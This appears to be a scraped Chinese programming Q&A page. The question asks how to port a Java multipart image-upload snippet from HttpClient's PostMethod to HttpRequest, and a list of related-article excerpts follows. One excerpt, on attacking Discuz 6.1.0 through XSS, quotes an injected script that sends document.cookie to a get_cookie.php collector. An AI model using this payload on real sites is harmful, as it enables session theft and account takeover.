http multipart java_Http MultiPart请求

我正在尝试使用httpClient库上传图像(多部分/表单数据) . 我可以使用httpPost方法和byteArrayRequestEntity上传图像 . 以下是我使用的代码:

File file = new File(imageFilePath);

HttpClient client = new HttpClient();

PostMethod method = new PostMethod("https://domain/link/folderId/files?access_token="+accessToken);

method.addRequestHeader("Content-Type","multipart/form-data;boundary=AaB03x");

String boundary = "AaB03x";

StringBuilder builder = new StringBuilder();

builder.append("--");

builder.append(boundary+"\r\n");

builder.append("Content-Disposition: form-data; name=\"file\"; filename=\"photo.jpg\"");

builder.append("\r\n");

builder.append("Content-Type: image/jpeg");

builder.append("\r\n");

builder.append("\r\n");

ByteArrayOutputStream baos = new ByteArrayOutputStream();

baos.write(builder.toString().getBytes("utf-8"));

builder.setLength(0);

InputStream is = new FileInputStream(file);

byte[] buffer = new byte[4096];

int nbRead = is.read(buffer);

while(nbRead > 0) {

baos.write(buffer, 0, nbRead);

nbRead = is.read(buffer);

}

is.close();

builder.append("\r\n");

builder.append("--");

builder.append(boundary);

builder.append("--");

builder.append("\r\n");

baos.write(builder.toString().getBytes("utf-8"));

method.setRequestEntity(new ByteArrayRequestEntity(baos.toByteArray(), "multipart/form-data; boundary=\"" + boundary + "\""));

System.out.println(method.getRequestEntity().toString());

client.executeMethod(method);

但我正在研究的项目要求我使用httpRequest而不是Http PostMethod . 我尝试使用basicHttpEntityEnclosingRequest,但同样的setEntity方法只接受一个httpEntity(我使用的是ByteArrayRequestEntity) .

任何人都可以帮我修改代码,以便它使用HttpRequest(或其子类型)而不是PostMethod?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/533216.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/533216.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java分布式会话redis_详解springboot中redis的使用和分布式session共享问题

对于分布式使用NginxTomcat实现负载均衡,最常用的均衡算法有IP_Hash、轮训、根据权重、随机等。不管对于哪一种负载均衡算法,由于Nginx对不同的请求分发到某一个Tomcat,Tomcat在运行的时候分别是不同的容器里,因此会出现session不…

python3.8使用方法_python3.8新特性

python3.8新特性Python3.8稳定版已发布,官网发布了一篇介绍新特性的文章,在此记录一下。新增赋值操作符:作用:把较大表达式中的某部分值赋给变量,因为看起来像海象的眼睛和牙齿,: 操作符有个特别的名字:海象操作符范例…

java责任链设计模式 订单_Java责任链设计模式实例分析

本文实例讲述了Java责任链设计模式。分享给大家供大家参考,具体如下:一 代码abstract class AbstractHandler {private Handler Handler null;// 持有责任链中下一个责任处理者的引用public void setHandler( Handler handler ) {this.Handler handler…

java map去重复的数据_使用HashMap去重复数据.

因为HashMap是键值对形式,所以一个键只对应一个Value,利用这个原理,我们就可以根据某列重复数据做键对重复数据进行处理啦~首先先看看我要处理 的数据然后我最后想要的结果:需求:根据groupName每个分组信息只显示一条数…

centos6.5 MySQL 服务器_启用CentOS6.5 64位安装时自带的MySQL数据库服务器

本人在虚拟机上又安装了一台linux机器,作为MySQL数据库服务器用,在安装时选择了系统自带的MySQL服务器端,以下是启用步骤。首先开启mysqld服务#service mysqld start进入/usr/bin目录#cd /usr/bin设定mysql数据库root用户的密码#mysqladmin -…

java xml date_W3C XML 模式时间数据类型与java Date进行转换

W3C XML 模式时间数据格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的时间转换为能被java所使用个格式有以下3种办法:(1)、jdk中有这么一个类XMLGregorianCalendar,使用XMLGregorianCalendar类中的toGreGreg…

PHP stomp 连接判断,php实现通过stomp协议连接ActiveMQ操作示例

本文实例讲述了php实现通过stomp协议连接ActiveMQ操作。分享给大家供大家参考,具体如下:前面介绍了php ActiveMQ的安装与使用,这里再来讲述一下php通过stomp协议连接ActiveMQ。一、安装php的stomp扩展http://pecl.php.net/package/stomp如&am…

authinfo.php,【nginxphp】后台权限认证方式

一、最常用的方法(代码中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

php数组无限文类,php把无限级分类生成数组的类

你是否遇到需要把无限级分类循环出来,是不是很头痛。比如,要循环出一个SELECT,或一个TABLE,要写一大堆判断。我的做法是生成数组,可以重复调用,直接循环数组就行了。为了方便,把它写成了类:clas…

php sql取数据生成数组中,php中实现数组生成要执行的sql语句

本篇文章主要介绍php中实现数组生成要执行的sql语句,感兴趣的朋友参考下,希望对大家有所帮助。会不会碰到这样一种情况呢?每次获取数据将数据和历史版本都有一定的差别,然而用ThinkPHP的addAll()函数,却会将已有的数据…

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本:var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一样,因为他需要诱导人去点击他的链接,但是现在人不是傻子&#xf…

java模块化按需加载,JavaScript模块化之使用requireJS按需加载

模块加载器的概念可能稍微接触过前端开发的童鞋都不会陌生,通过模块加载器可以有效的解决这些问题:JS文件的依赖关系。通过异步加载优化script标签引起的阻塞问题可以简单的以文件为单位将功能模块化并实现复用主流的JS模块加载器有requireJS&#xff0c…

宇轩网络面试题目PHP,二十道接地气的php面试题,让你直接通过面试!就此奉上~...

1、echo count(“abc”); 输出什么?答:"1"count— 计算数组中的单元数目或对象中的属性个数int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是数组类型或者实现了 Countable 接口的对象,将返回 1&#xff0…

java期末试题c卷,JAVA程序设计期末考试试卷及参考答案

《JAVA程序设计》期末考试试卷考生注意:1.本试卷满分100分。2.考试时间90分钟。3.卷面整洁,字迹工整。4.填写内容不得超出密封线。总分题号一二三四五六核分人题分21204019复查人得分一、单选择题(每题2分&…

mysql 分组查询原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作,而且與ORDER BY 相比,GROUP BY 主要只是多了排序之后的分組操作。當然,如果在分組的時候還使用了其他的一些聚合函數,那么還需要一些聚合函數的計算。所以,在GROUP BY 的實現…

mysql 执行计划详解,Mysql中的explain执行计划详解(1)

创建一个表test_explain,并添加入下的数据mysql> create table test_explain( a int primary key, b int);Query OK, 0 rows affected (0.09 sec)mysql> insert into test_explain value(1,1),(2,2),(3,3),(4,4),(5,5);explian中的type字段:表示m…

mac php命令行模式,phpstorm分别在Mac和Windows下启动命令行,并启用ssh

Mac:在terminal下运行 sudo -i 输入密码 就可以用ssh IP:端口 命令行登录了DAssist是一个命令行开发辅助,可直接在系统命令行工具中使用,Linux和MacOS等自带命令终端的系统好说,windows下也有cmd和powerShell。那么如何结合开发IDE工具进行…

matlab 价格统计,matlab中的金融数据统计

1.均匀分布随机数生成函数unidrnd(N,m,n)N生成1到N之间的一个随机数,确定输出矩阵m行,n列。2.生成连续均匀分布的随机数unifrnd(A,B,m,n)A,B表示上下界。3.生成正态分布随机数normrnd(mu,sigma,m,n)mu均值,…

php访问js文件不存在,php文件里js不能被执行

我想把上传文件路径返回到前端保存&#xff0c;但是后台php文件里的js没有执行&#xff0c;前台input标签里的value值一直为空后台acceptfile.php代码如下:<?php if(!isset($_REQUEST[filename])){exit(No file);}else{$upload_path dirname(__FILE__)./audio;date_defaul…

php 零宽断言,正则表达式之零宽断言实例详解【基于PHP】

这篇文章主要介绍了正则表达式之零宽断言,简单介绍了零宽断言的概念、分类及php实现技巧与相关注意事项,需要的朋友可以参考下本文实例讲述了正则表达式之零宽断言。分享给大家供大家参考&#xff0c;具体如下&#xff1a;前言之前我曾写了一篇关于正则表达式的文章(//www.jb51…